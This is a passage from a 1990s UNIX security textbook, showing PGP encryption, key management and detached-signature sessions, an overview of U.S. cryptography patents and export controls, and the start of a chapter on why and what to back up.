Random DES key | 1288 = 256 | 7.2 x 1016
Typeable characters[28] | 1278 | 6.8 x 1016
Printable characters | 968 | 7.2 x 1015
Two words | 1,000,0002 | 1012
One word | 1,000,000 | 106

[28] You can't enter null as a character in your key.

Some versions of des will encrypt a file if it is specified on the command line. Input and output filenames are optional. If only one filename is given, it is assumed to be the input file.

Some versions of UNIX designed for export include a des command that doesn't do anything. Instead of encrypting your file, it simply prints an error message explaining that the software version of des is not available.

6.6.3 PGP: Pretty Good Privacy

In 1991, Phil Zimmermann wrote a program called PGP which performs both private key and public key cryptography. That program was subsequently released on the Internet and improved by numerous programmers, mostly outside of the United States.[29] In 1994, Zimmermann turned the distribution of PGP over to the Massachusetts Institute of Technology, which makes the software available for anonymous FTP from the computer net-dist.mit.edu.

[29] Get the whole story! Although this section presents a good introduction to PGP, the program is far too complicated to describe here. For a full description of PGP, we recommend the book PGP: Pretty Good Privacy by Simson Garfinkel (O'Reilly & Associates, 1995).

The version of PGP that is distributed from MIT uses the RSA Data Security software package RSAREF. This software is only available for noncommercial use. If you wish to use PGP for commercial purposes, you should purchase it from ViaCrypt International (whose address is listed in Appendix D).

PGP Version 2 uses IDEA as its private key encryption algorithm and RSA for its public key encryption. (Later versions of PGP may allow a multiplicity of encryption algorithms to be used, such as Triple DES.) PGP can also seal and verify digital signatures, and includes sophisticated key-management software. It also has provisions for storing public and private keys in special files called key rings (illustrated in Figure 6.5). Finally, PGP has provisions for certifying keys, again using digital signatures.

Figure 6.5: PGP key rings

6.6.3.1 Encrypting files with IDEA

You can use PGP to encrypt a file with the IDEA encryption cipher with the following command line:

% pgp -c message
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Distributed by the Massachusetts Institute of Technology.  Uses RSAREF.
Export of this software may be restricted by the U.S. government.
Current time: 1995/02/12 03:32 GMT

You need a pass phrase to encrypt the file.
Enter pass phrase:some days green tomatoes
Enter same pass phrase again: some days green tomatoes
Just a moment....
Ciphertext file: message.pgp
%

Rather than using your pass phrase as the cryptographic key, PGP instead calculates the MD5 hash function and uses the hash. This means that you can use a pass phrase of any length. Because IDEA uses a 128-bit key, key-search attacks are not feasible.

PGP automatically compresses everything that it encrypts, which is fortunate, because after a file is encrypted, it cannot be compressed further: the output will appear random, and file compression requires some repeated patterns to compress.

If you want to decrypt your file, run PGP with the encrypted file as its sole argument:

% pgp message.pgp
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Distributed by the Massachusetts Institute of Technology.  Uses RSAREF.
Export of this software may be restricted by the U.S. government.
Current time: 1995/02/12 03:47 GMT

File is conventionally encrypted.
You need a pass phrase to decrypt this file.
Enter pass phrase: some days green tomatoes
Just a moment....Pass phrase appears good. .
Plaintext filename: message
%

If you do not type the correct pass phrase, PGP will not decrypt your file:

% pgp message.pgp
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Distributed by the Massachusetts Institute of Technology.  Uses RSAREF.
Export of this software may be restricted by the U.S. government.
Current time: 1995/02/12 03:48 GMT

File is conventionally encrypted.
You need a pass phrase to decrypt this file.
Enter pass phrase: I am the walrus
Just a moment...
Error:  Bad pass phrase.

You need a pass phrase to decrypt this file.
Enter pass phrase: Love will find a way
Just a moment...
Error:  Bad pass phrase.

For a usage summary, type:  pgp -h
For more detailed help, consult the PGP User's Guide.
%

6.6.3.2 Creating your PGP public key

The real power of PGP is not the encryption of files, but the encryption of electronic mail messages. PGP uses public key cryptography, which allows anybody to create a message and encrypt it using your public key. After the message is encrypted, no one can decrypt it unless someone has your secret key. (Ideally, nobody other than you should have a copy of your key.) PGP also allows you to electronically "sign" a document with a digital signature, which other people can verify.

To make use of these features, you will first need to create a public key for yourself and distribute it among your correspondents. Do this with PGP's -kg option:

% pgp -kg
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Distributed by the Massachusetts Institute of Technology.  Uses RSAREF.
Export of this software may be restricted by the U.S. government.
Current time: 1995/02/12 04:01 GMT
Pick your RSA key size:
    1)   512 bits- Low commercial grade, fast but less secure
    2)   768 bits- High commercial grade, medium speed, good security
    3)  1024 bits- "Military" grade, slow, highest security
Choose 1, 2, or 3, or enter desired number of bits: 3
Generating an RSA key with a 1024-bit modulus.

You need a user ID for your public key.  The desired form for this
user ID is your name, followed by your E-mail address enclosed in
<angle brackets>, if you have an E-mail address.
For example:  John Q. Smith <12345.6789@compuserve.com>
Enter a user ID for your public key:
Michelle Love <love@michelle.org>

You need a pass phrase to protect your RSA secret key.
Your pass phrase can be any sentence or phrase and may have many
words, spaces, punctuation, or any other printable characters.

Enter pass phrase:every thought burns into substance
Enter same pass phrase again:every thought burns into substance
Note that key generation is a lengthy process.

We need to generate 720 random bits.  This is done by measuring the
time intervals between your keystrokes.  Please enter some random text
on your keyboard until you hear the beep:
Here you type a lot of random data that nobody else really sees. It doesn't really matter what you type, just don't hold down the key. 0 * -Enough, thank you.
..........................++++ ..........++++
Key generation completed.
%

The passphrase is used to encrypt the secret key that is stored on your computer. In this manner, if somebody breaks into your account or steals your computer, they won't be able to read your encrypted messages.

After you've generated your key, you should do two things with it immediately:

  1. Sign it yourself. You should always sign your own key right away. Do this as:

    % pgp -ks love@michelle.org

    There are some obscure ways that your key might be abused if it is circulated without a signature in place, so be sure that you sign it yourself.

  2. Generate a revocation certificate and store it offline somewhere. Don't send it to anyone! The idea behind generating the revocation right now is that you still remember the passphrase and have the secret key available. If something should happen to your stored key, or you forget the passphrase, the public/private key pair becomes useless. Having the revocation certificate ready in advance allows you to send it out if that should ever happen. You generate the certificate by:

    % pgp -kx Michelle revoke.pgp
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Uses the RSAREF(tm) Toolkit, which is copyright RSA Data Security, Inc.
Distributed by the Massachusetts Institute of Technology.
Export of this software may be restricted by the U.S. government.
Current time: 1995/02/12 04:06 GMT

Extracting from key ring: `/Users/simsong/Library/pgp/pubring.pgp',
userid "Michelle".

Key for user ID: Michelle Love <love@michelle.org>
1024-bit key, Key ID 0A965505, created 1995/02/12

Key extracted to file `revoke.pgp'.
% pgp -kd Michelle revoke.pgp
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Uses the RSAREF(tm) Toolkit, which is copyright RSA Data Security, Inc.
Distributed by the Massachusetts Institute of Technology.
Export of this software may be restricted by the U.S. government.
Current time: 1995/02/12 04:07 GMT

Key for user ID: Michelle Love <love@michelle.org>
1024-bit key, Key ID 0A965505, created 1995/02/12

Do you want to permanently revoke your public key
by issuing a secret key compromise certificate
for "Michelle" (y/N)? y

You need a pass phrase to unlock your RSA secret key.
Key for user ID "Michelle"

Enter pass phrase: every thought burns into substance
Pass phrase is good.  Just a moment....
Key compromise certificate created.
Warning: `revoke.pgp' is not a public keyring

Now, save the revoke.pgp file in a safe place, off line. For example, you might put it on a clearly labeled floppy disk, then place the disk inside a clearly labeled envelope. Write your signature across the envelope's flap. Then store the envelope in your safe-deposit box.

To extract a printable, ASCII version of your key, use PGP's -kxaf (Key extract ASCII filter) command:

% pgp -kxaf Michelle
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Distributed by the Massachusetts Institute of Technology.  Uses RSAREF.
Export of this software may be restricted by the U.S. government.
Current time: 1995/02/12 04:11 GMT

Extracting from key ring: '/Users/simsong/Library/pgp/pubring.pgp', userid "Mic.

Key for user ID: Michelle Love <love@michelle.org>
1024-bit key, Key ID 0A965505, created 1995/02/12

Key extracted to file 'pgptemp.$00'.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.1

mQCNAy89iJMAAAEEALrXJQpVmkTCtjp5FrkCvceFZydiEq2xGgoBvDUOn92XtJiH
PVvope9VA4Lw2wDAbZDD5oucpGg8I1E4luvHVsvF0mpk2JzzWE1hVxWv4rpYIM+x
qSbCryUU5iSneFGPBI5D3nue4wC3XbvQmvYYp5LR6r2eyHU3ktazHzgKllUFAAUR
tCFNaWNoZWxsZSBMb3ZlIDxsb3ZlQG1pY2hlbGxlLm9yZz4=
=UPJB
-----END PGP PUBLIC KEY BLOCK-----
%

You can redirect the output of this command to a file, or simply use your window system's cut-and-paste feature to copy the key into an email message.

If you get somebody else's PGP key, you can add it to your keyring with the PGP -ka (key add) option. Simply save the key in a file, then type:

% pgp -ka michelle.pgp
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Distributed by the Massachusetts Institute of Technology.  Uses RSAREF.
Export of this software may be restricted by the U.S. government.
Current time: 1995/02/12 04:15 GMT

Looking for new keys...
pub  1024/0A965505 1995/02/12  Michelle Love <love@michelle.org>

Checking signatures...

Keyfile contains:
   1 new key(s)

One or more of the new keys are not fully certified.
Do you want to certify any of these keys yourself (y/N)? y

Key for user ID: Michelle Love <love@michelle.org>
1024-bit key, Key ID 0A965505, created 1995/02/12
Key fingerprint =  0E 8A 9C C4 CE 44 96 60  83 79 CB F1 F3 02 0C 7E
This key/userID association is not certified.

Do you want to certify this key yourself (y/N)? n
%

6.6.3.3 Encrypting a message

After you have somebody's public key, you can encrypt a message using the PGP's -eat command. This will encrypt the message, save it in ASCII (so you can send it with electronic mail), and properly preserve end-of-line characteristics (assuming that this is a text message). You can sign the message with your own digital signature by specifying -seat instead of -eat. If you want to use PGP as a filter, add the letter "f" to your command. This process is shown graphically in Figure 6.6.

Figure 6.6: Encrypting email with PGP

For example, you can take the file message, sign it with your digital signature, encrypt it with Michelle's public key, and send it to her, by using the command:

% cat message | pgp -seatf message Michelle | mail -s message
:w
love@michelle.org

6.6.3.4 Adding a digital signature to an announcement

With PGP, you can add a digital signature to a message so that people who receive the message can verify that it is from you (provided that they have your public key).

For example, if you wanted to send out a PGP-signed message designed to warm the hearts but dull the minds of your students, you might do it like this:

% pgp -sat classes
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Distributed by the Massachusetts Institute of Technology.  Uses RSAREF.
Export of this software may be restricted by the U.S. government.
Current time: 1995/02/12 04:30 GMT

A secret key is required to make a signature.
You need a pass phrase to unlock your RSA secret key.
Key for user ID "simson"

Enter pass phrase: all dogs go to heavenPass phrase is good.
Key for user ID: Simson L. Garfinkel <simsong@acm.org>
1024-bit key, Key ID 903C9265, created 1994/07/15
Also known as: simsong@pleasant.cambridge.ma.us
Also known as: simsong@next.cambridge.ma.us
Also known as: simsong@mit.edu
Just a moment....
Clear signature file: classes.asc
%

The signed message itself looks like this:

% cat classes.asc
-----BEGIN PGP SIGNED MESSAGE-----

Classes are cancelled for the following two months. Everybody enrolled
in the course will get an A.

- -Your Professor

-----BEGIN PGP SIGNATURE-----
Version: 2.6.1

iQCVAwUBLz2Ow3D7CbCQPJJlAQH7CAP/V5COuOPGTDhSeGl6XkxKiVAPD9JDfeNd
5mFr8K/N7W9tyj7THiS/eI92e5/cRI/5z6KzxbSNIx8gGe4h9/bjO5a6rUfa3C+K
j0zCIwETQzSE3tVWXxQv7it4HBZY+xJL8C1CinEckZZc09PvGwyYbPe4tSF8GHHl
0zyTTtueqLg=
=3ihy
-----END PGP SIGNATURE-----
%

6.6.3.5 Decrypting messages and verifying signatures

To decrypt a message or verify a signature on a message, simply save the message into a file. Then run PGP, specifying the filename as your sole argument. If you are decrypting a message, you will need to type your pass phrase. For example, to decrypt a message that has been sent you, use the following command:

% cat message.asc
-----BEGIN PGP MESSAGE-----
Version: 2.6.1

hIwDcPsJsJA8kmUBBACN/HinvYo1GRL+p6pT14OV3L50q/v1aqGsHHSOa37t89O1
23/jm6lzTuh83Qy5KbMpLkMbRg/5FqTD56GX9MoyP4IuLzKxtuA87n9j/pYv4ES3
I0aCUMOvU8SqNTM1qC+ZV7j6NeseCUiRrMFVVlr5uZ2TH8kkDiQBd0x1/h7LNaYA
AACFsT5sa/rd1uh/1A7yDSqZZNGzlCn0aC55o8lgSoPKOgvT0JGZFFOS5h+v3wxw
/U752OaQaSIIj0rVK8UT0thSxyM8xoMIRmBJgmwoloKI+/THy5/Toy8FIqS5taHu
o0wkuhDwcjNg4PJ3dZkoLwnGWwwM3y5vKqrMFHQfNnO6xJ9qBqnKLg==
=EEko
-----END PGP MESSAGE-----
%

Process the file with PGP:

% pgp message.asc
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Distributed by the Massachusetts Institute of Technology.  Uses RSAREF.
Export of this software may be restricted by the U.S. government.
Current time: 1995/02/12 04:54 GMT

File is encrypted.  Secret key is required to read it.
Key for user ID: simson
1024-bit key, Key ID 903C9265, created 1994/07/15
Also known as: simsong@pleasant.cambridge.ma.us
Also known as: simsong@next.cambridge.ma.us
Also known as: simsong@mit.edu
Also known as: Simson L. Garfinkel <simsong@acm.org>

You need a pass phrase to unlock your RSA secret key.
Enter pass phrase: subcommander marcos
Pass phrase is good.  Just a moment......
Plaintext filename: message
% cat message
Hi Simson!

Things are all set. We are planning the military takeover for next
Tuesday. Bring your lasers.

-Carlos
%

You can also specify the "f" option, which causes PGP to simply send the decrypted file to stdout.

6.6.3.6 PGP detached signatures

PGP has the ability to store digital signatures in a separate file from the original document. Such a signature is called a detached signature. Detached signatures are recommended for binary files, such as programs, because the signature will not change the data.

For the UNIX system administrator, one of the truly valuable things that you can do with PGP is to create detached signatures of your critical system files. These signatures will be signed by you, the system administrator. You (or other users on your system) can then use these signatures to detect unauthorized modification in the critical system files: if the files that you sign are ever modified, the signature will no longer validate.

For example, to create a detached signature for the /bin/login program, you could use PGP's -sb flags:

# pgp -sb /bin/login -u simsong
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Distributed by the Massachusetts Institute of Technology.  Uses RSAREF.
Export of this software may be restricted by the U.S. government.
Current time: 1995/09/12 15:28 GMT

A secret key is required to make a signature.
You need a pass phrase to unlock your RSA secret key.
Key for user ID "simsong@pleasant.cambridge.ma.us"

Enter pass phrase: nobody knows my name
Pass phrase is good.
Key for user ID: Simson L. Garfinkel <simsong@acm.org>
1024-bit key, Key ID 903C9265, created 1994/07/15
Also known as: simsong@pleasant.cambridge.ma.us
Also known as: simsong@next.cambridge.ma.us
Also known as: simsong@mit.edu
Just a moment....
Signature file: /bin/login.sig
#

In this example, the superuser ran PGP so that the signature for /bin/login could be recorded in /bin/login.sig (the default location). You could specify a different location to save the signature by using PGP's -o filename option.

To verify the signature, simply run PGP, supplying the signature and the original file as command line arguments:

% pgp /bin/login.sig /bin/login
Pretty Good Privacy(tm) 2.6.1 - Public-key encryption for the masses.
(c) 1990-1994 Philip Zimmermann, Phil's Pretty Good Software. 29 Aug 94
Distributed by the Massachusetts Institute of Technology.  Uses RSAREF.
Export of this software may be restricted by the U.S. government.
Current time: 1995/09/12 15:32 GMT

File has signature.  Public key is required to check signature.
File '/bin/login.sig' has signature, but with no text.
Text is assumed to be in file '/bin/login'.
.
Good signature from user "Simson L. Garfinkel <simsong@acm.org>".
Signature made 1995/09/12 15:28 GMT

Signature and text are separate.  No output file produced.
%

Using digital signatures to validate the integrity of your system's executables is a better technique than using simple cryptographic checksum schemes, such as MD5. Digital signatures are better because with a simple MD5 scheme, you risk an attacker's modifying both the binary file and the file containing the MD5 checksums. With digital signatures, you don't have to worry about an attacker's recreating the signature, because the attacker does not have access to the secret key. (However, you still need to worry about someone altering the source code of your checksum program to make a copy of your secret key when you type it.)

NOTE: Protect your key! No matter how secure your encryption system is, you should take the same precautions with your encryption key that you take with your password: there is no sense in going to the time and expense of encrypting all of your data with strong ciphers such as DES or RSA if you keep your encryption keys in a file in your home directory, or write them on a piece of paper attached to your terminal.

Finally, never use any of your passwords as an encryption key! If an attacker learns your password, your encryption key will be the only protection for your data. Likewise, if the encryption program is weak or compromised, you do not want your attacker to learn your password by decrypting your files. The only way to prevent this scenario is by using different words for your password and encryption keys.

Our PGP Keys

One way to verify someone's key is by getting it from him or her in person. If you get the key directly from the person involved, you can have some confidence that the key is really his. Alternatively, you can get the key from a public keyserver, WWW page, or other location. Then, you verify the key fingerprint. This is normally generated as pgp - kvc keyid. You can do this over the telephone, or in person. You can also do it by finding the key fingerprint in a trusted location ... such as printed in a book.

Here are the key ids and fingerprints for our keys. The keys themselves may be obtained from the public key servers. If you don't know how to access the key servers, read the PGP documentation, or Simson's PGP book, also from O'Reilly.

pub  1024/FC0C02D5 1994/05/16 Eugene H. Spafford <spaf@cs.purdue.edu>
Key fingerprint =  9F 30 B7 C5 8B 52 35 8A  42 4B 73 EE 55 EE C5 41

pub 1024/903C9265 1994/07/15 Simson L. Garfinkel <simsong@acm.org>
Key fingerprint =  68 06 7B 9A 8C E6 58 3D  6E D8 0E 90 01 C5 DE 01

Previous: 6.5 Message Digests and Digital Signatures | Practical UNIX & Internet Security | Next: 6.7 Encryption and U.S. Law
6.5 Message Digests and Digital Signatures | Book Index | 6.7 Encryption and U.S. Law


[Chapter 6] 6.7 Encryption and U.S. Law

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 6.6 Encryption Programs Available for UNIX Chapter 6
Cryptography 		Next: III. System Security

6.7 Encryption and U.S. Law

Encryption is subject to the law in the United States for two reasons: public key cryptography is subject to several patents in the United States; and U.S. law currently classifies cryptography as munitions, and as such, regulates it with export control restrictions.

While these restrictions have hampered the widespread use of cryptography within the United States, they have done little to limit the use of cryptography abroad, one of the putative goals of the export control restrictions.

6.7.1 Cryptography and the U.S. Patent System

Patents applied to computer programs, frequently called software patents, are the subject of ongoing controversy in the computer industry and in parts of Congress. As the number of software patents issued has steadily grown each year, the U.S. Patent and Trademark Office has come under increasing attack for granting too many patents which are apparently neither new nor novel. There is also some underlying uncertainty whether patents on software are Constitutional, but no case has yet been tried in an appropriate court to definitively settle the matter.

Some of the earliest and most important software patents granted in the United States were in the field of public key cryptography. In particular, Stanford University was awarded two fundamental patents on the knapsack and Diffie-Hellman encryption systems, and MIT was awarded a patent on the RSA algorithm. Table 6.4 summarizes the various patents that have been awarded on public key cryptography.

Between 1989 and 1995, all of these patents were exclusively licensed to Public Key Partners, a small company based in Redwood City, California. As this book went to press, the partnership was dissolved, and the patents have apparently reverted to the partners, Cylink, Inc., of Sunnyvale, Calif., and RSA Data Security of Redwood City, Calif. Exactly what this change in status means for people wishing to practice the inventions has not yet been determined.

6.7.2 Cryptography and Export Controls

Under current U.S. law, cryptography is a munition, akin to nuclear materials and biological warfare agents. Thus, export of cryptographic machines (such as computer programs that implement cryptography) is covered by the Defense Trade Regulations (formerly known as the International Traffic in Arms Regulation - ITAR). To export a program in machine-readable format that implements cryptography, you need a license from the Office of Defense Trade Controls (DTC) inside the U.S. State Department; publishing the same algorithm in a book or public paper is not controlled.

To get a license to export a program, you disclose the program to DTC, which then makes an evaluation. (In practice, these decisions are actually made by the National Security Agency.) Historically, programs that implement sufficiently weak cryptography are allowed to be exported; those with strong cryptography, such as DES, are denied export licenses.

A 1993 survey by the Software Publisher's Association, a U.S.-based industry advocacy group, found that encryption is widely available in overseas computer products and that availability is growing. They noted the existence of more than 250 products distributed overseas containing cryptography. Many of these products use technologies that are patented in the U.S. (At the time, you could literally buy high-quality programs that implement RSA encryption on the streets of Moscow, although Russia has since enacted stringent restrictions on the sale of cryptographic programs.)

Table 6.4: The Public Key Cryptography Patents
Patent # | Title | Covers Invention | Inventors | Assignee | Date Filed | Date Granted | Date Expires
4,200,770 | Cryptographic Apparatus and Method | Diffie-Hellman key exchange | Martin E. Hellman, Bailey W. Diffie, Ralph C. Merkle, | Stanford University | September 6, 1977 | April 29, 1980 | April 29, 1997
4,218,582 | Public Key Cryptographic Apparatus and Method | Knapsack, and possibly all of public key cryptography | Martin E. Hellman, Ralph C. Merkle | Stanford University | October 6, 1977 | August 19, 1980 | August 19, 1997
4,424,414 | Exponentiation Cryptographic Apparatus and Method |  | Martin E. Hellman, Stephen C. Pohlig | Stanford University | May 1, 1978 | January 3, 1984 | January 3, 2001
4,405,829 | Cryptographic Communications System and Method | RSA encryption | Ronald L. Rivest, Adi Shamir, Leonard M. Adleman | Massachusetts Institute of Technology | December 14, 1977 | September 20, 1983 | September 20, 2000

Most European countries used to have regulations regarding software similar to those in force in the U.S. Many were discarded in the early 1990s in favor of a more liberal policy, which allows mass-market software to be freely traded.

In 1992, the Software Publishers Association and the State Department reached an agreement which allows the export of programs containing RSA Data Security's RC2 and RC4 algorithms, but only when the key size is set to 40 bits or less. 40 bits is not very secure, and application of a distributed attack using standard workstations in a good-size lab can break these in at most a few days. This theory was demonstrated quite visibly in mid-1995 when two independent groups broke 40-bit keys used in the export version of the Netscape browser. Although the effort took many machines and days of effort, both were accomplished in fairly standard research environments similar to many others around the world.

Canada is an interesting case in the field of export control. Under current U.S. policy, any cryptographic software can be directly exported to Canada without the need of an export license. Canada has also liberalized its export policy, allowing any Canadian-made cryptographic software to be further exported abroad. But software that is exported to Canada cannot then be exported to a third country, thanks to Canada's Rule #5100, which honors U.S. export prohibitions on "all goods originating in the United States" unless they have been "further processed or manufactured outside the United States so as to result in a substantial change in value, form, or use of the goods or in the production of new goods."

Several companies are now avoiding the hassle of export controls by doing their software engineering overseas, and then importing the products back into the United States. We feel that current regulations only serve to hobble U.S. industry, and only play a minor role in slowing the spread of encryption use worldwide.

Previous: 6.6 Encryption Programs Available for UNIX | Practical UNIX & Internet Security | Next: III. System Security
6.6 Encryption Programs Available for UNIX | Book Index | III. System Security


[Chapter 7] Backups

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: III. System Security Chapter 7 Next: 7.2 Sample Backup Strategies

7. Backups

Contents:
Make Backups!
Sample Backup Strategies
Backing Up System Files
Software for Backups

Those who forget the past are condemned to fulfill it.

George Santayana, Life of Reason

Those who do not archive the past are condemned to retype it!

Garfinkel and Spafford, Practical UNIX Security (first edition)

When we were working on the first edition of Practical UNIX Security, we tried in vain to locate a source of the quotation "those who forget the past are condemned to repeat it." But no matter where we searched, we couldn't find the source. What we found instead was the reference above in George Santayana's book, Life of Reason. So we printed it and added our own variation.

What's the point? Few people take the time to verify their facts, be they the words of Santayana's oft-misquoted statement, or the contents of an unlabeled backup tape. In the years since Practical UNIX Security was first published, we have heard of countless instances in which people or whole organizations have had their files lost to computer failure or vandalism. Often, the victims are unable to restore their systems from full and compete backups. Instead, restoration is often a piecemeal and lengthy project - a few files from this tape, a few files from that one, and a few from the original CD-ROM distribution.

Even if backup tapes exist, there are still problems. In one case, a researcher at Digital Equipment Corporation lost a decade's worth of personal email because of a bad block at the beginning of a 2GB DAT tape. The contents of the tape had never been verified.

In another case, we know of a project group that had to manually recreate a system from printouts (that is, they had to retype the entire system) because the locally written backup program was faulty. Although the staff had tested the program, they had only tested the program with small, random files - and the program's bug was that it only backed up the first 1024 bytes of each real file. Unfortunately, this fault was not discovered until after the program had been in use several months.

Making backups and verifying them may be the most important things that you can do to protect your data - other than reading this book, of course!

7.1 Make Backups!

Bugs, accidents, natural disasters, and attacks on your system cannot be predicted. Often, despite your best efforts, they can't be prevented. But if you have backups, you can compare your current system and your backed-up system, and you can restore your system to a stable state. Even if you lose your entire computer - to fire, for instance - with a good set of backups you can restore the information after you have purchased or borrowed a replacement machine. Insurance can cover the cost of a new CPU and disk drive, but your data is something that in many cases can never be replaced.

Take the Test

Before we go on with this chapter, take some time for the following quick test:

When was the last time your computer was backed up?

A) Yesterday or today

B) Within the last week

C) Within the last month

D) My computer has never been backed up

E) My computer is against a wall and cannot be backed up any further

If you answered C or D, stop reading this book right now and back up your data. If you answered E, you should move it out from the wall to allow for proper cooling ventilation, and then retake the test.

Russell Brand writes:[1] "To me, the user data is of paramount importance. Anything else is generally replaceable. You can buy more disk drives, more computers, more electrical power. If you lose the data, through a security incident or otherwise, it is gone."

[1] Coping with the Threat of Computer Security Incidents, 1990, published on the Internet.

Mr. Brand made this comment in a paper on UNIX security several years ago; we think it summarizes the situation well, within limits.[2] Backups are one of the most critical aspects of your system operation. Having backups that are valid, complete, and up to date may make the difference between a minor incident and a catastrophe.

[2] We actually think personnel are more important than data. We've seen disaster response plans that call for staff members to dash into burning rooms to close tape closets or rescue tapes; these are stupid. Plans that require such activity are not likely to work when needed, and are morally indefensible.

7.1.1 Why Make Backups?

Backups are important only if you value the work that you do on your computer. If you use your computer as a paperweight, then you don't need to make backups.

You also don't need to back up a computer that only uses read-only storage, such as a CD-ROM. A variant of this is Sun's "dataless" client workstations, in which the operating system is installed from a CD-ROMand never modified. When configured this way, the computer's local hard disk is used as an accelerator and a cache, but it is not used to store data you would want to archive. Sun specifically designs its operating system for these machines so that they do not need backups.

On the other hand, if you ever turn your computer on and occasionally modify data on it, then you must make a copy of that information if you want to recover it in the event of a loss.

7.1.1.1 A taxonomy of computer failures

Years ago, making daily backups was a common practice because computer hardware would often fail for no obvious reason. A backup was the only protection against data loss.

Today, hardware failure is still a good reason to back up your system. In 1990, many hard-disk companies gave their drives two- or three-year guarantees; many of those drives are failing now. Even though today's state-of-the-art hard disk drives might come with five-year warranties, they too will fail one day!

Such a failure might not be years away, either. In the fall of 1993, one of the authors bought a new 1.7GB hard drive to replace a 1.0 GB unit. The files were copied from the older drive to the newer one, and then the older unit was reformatted and given to a colleague. The next week, the 1.7GB unit failed. Luckily, there was a backup.

Backups are important for a number of other reasons as well:

User error

Users - especially novice users - accidentally delete their files. A user might type rm * -i instead of typing rm -i *. Making periodic backups protects users from their own mistakes, because the deleted files can be restored. Mistakes aren't limited to novices, either. More than one expert has accidentally overwritten a file by issuing an incorrect editor or compiler command, or accidentally trashed an entire directory by mistyping a wildcard to the shell.

System-staff error

Sometimes your system staff may make a mistake. For example, a system administrator deleting old accounts might accidentally delete an active one.

Hardware failure

Hardware breaks, often destroying data in the process: disk crashes are not unheard of. If you have a backup, you can restore the data on a different computer system.

Software failure

Application programs occasionally have hidden flaws that destroy data under mysterious circumstances.[3] If you have a backup and your application program suddenly deletes half of your 500 x 500-cell spreadsheet, you can telephone the vendor and provide them with the dataset that caused the program to misbehave. You can also reload your data to try a different approach (and a different spreadsheet!).

[3] Unfortunately, more than "occasionally." Quality control is not job #1 for most vendors - even the big ones. It's probably not even job # 10. This fact is why most software is sold with the tiny print disclaimers of liability and waiver of warranty. When your vendors don't have that much confidence in their own software, you shouldn't either. Caveat emptor.

Electronic break-ins and vandalism

Computer crackers sometimes alter or delete data. Unfortunately, they seldom leave messages telling you whether they changed any information - and even if they do, you can't trust them! If you suffer a break-in, you can compare the data on your computer after the break-in with the data on your backup to determine if anything was changed. Items that have changed can be replaced with originals.

Theft

Computers are expensive and easy to sell. For this reason, small computers - especially laptops - are often stolen. Cash from your insurance company can buy you a new computer, but it can't bring back your data. Not only should you make a backup, you should take it out of your computer and store it in a safe place, so that if the computer is stolen, at least you'll have your data.

Natural disaster

Sometimes rain falls and buildings are washed away. Sometimes the earth shakes and buildings are demolished. Fires are also very effective at destroying the places where we keep our computers. Mother Nature is inventive and not always kind. As with theft, your insurance company can buy you a new computer, but it can't bring back your data.

Other disasters

Sometimes Mother Nature isn't to blame: planes crash into buildings; gas pipes leak and cause explosions; and sometimes building-maintenance people use disk-drive cabinets as temporary saw horses (really!). We even know of one instance in which EPA inspectors came into a building and found asbestos in the A/C ducts, so they forced everyone to leave within 10 minutes, and then sealed the building for several months!

Archival information

Backups provide archival information that lets you compare current versions of software and databases with older ones. This capability lets you determine what you've changed - intentionally or by accident. It also provides an invaluable resource if you ever need to go back and reconstruct the history of a project, either as an academic exercise, or to provide evidence in a court case.

7.1.2 What Should You Back Up?

There are two schools of thought concerning computer-backup systems:

  1. Back up everything that is unique to your system, including all user files, any system databases that you might have modified (such as /etc/passwd and /etc/tty), and important system directories (such as /bin and /usr/bin) that are especially important or that you may have modified.

  2. Back up everything, because restoring a complete system is easier than restoring an incomplete one, and tape is cheap.

We recommend the second school of thought. While some of the information you back up is already "backed up" on the original distribution disks or tape you used to load them onto your hard disk, distribution disks or tapes sometimes get lost. Furthermore, as your system ages, programs get installed in reserved directories such as /bin and /usr/bin, security holes get discovered and patched, and other changes occur. If you've ever tried to restore your system after a disaster,[4] you know how much easier the process is when everything is in the same place.

[4] Imagine having to reapply 75 vendor "jumbo patches" by hand, plus all the little security patches you got off the net and derived from this book, plus all the tweaks to optimize performance - for each system you manage. Ouch!

For this reason, we recommend that you store everything from your system (and that means everything necessary to reinstall the system from scratch - every last file) onto backup media at regular, predefined intervals. How often you do this depends on the speed of your backup equipment and the amount of storage space allocated for backups. You might want to do a total backup once a week, or you might want to do it only twice a year.

But please do it!

7.1.3 Types of Backups

There are three basic types of backups:

  • A day-zero backup

    Makes a copy of your original system. When your system is first installed, before people have started to use it, back up every file and program on the system. Such backups can be invaluable after a break-in.[5]

    [5] We recommend that you also do such a backup immediately after you restore your system after recovering from a break-in. Even if you have left a hole open and the intruder returns, you'll save a lot of time if you are able to fix the hole in the backup, rather than starting from scratch again.

  • A full backup

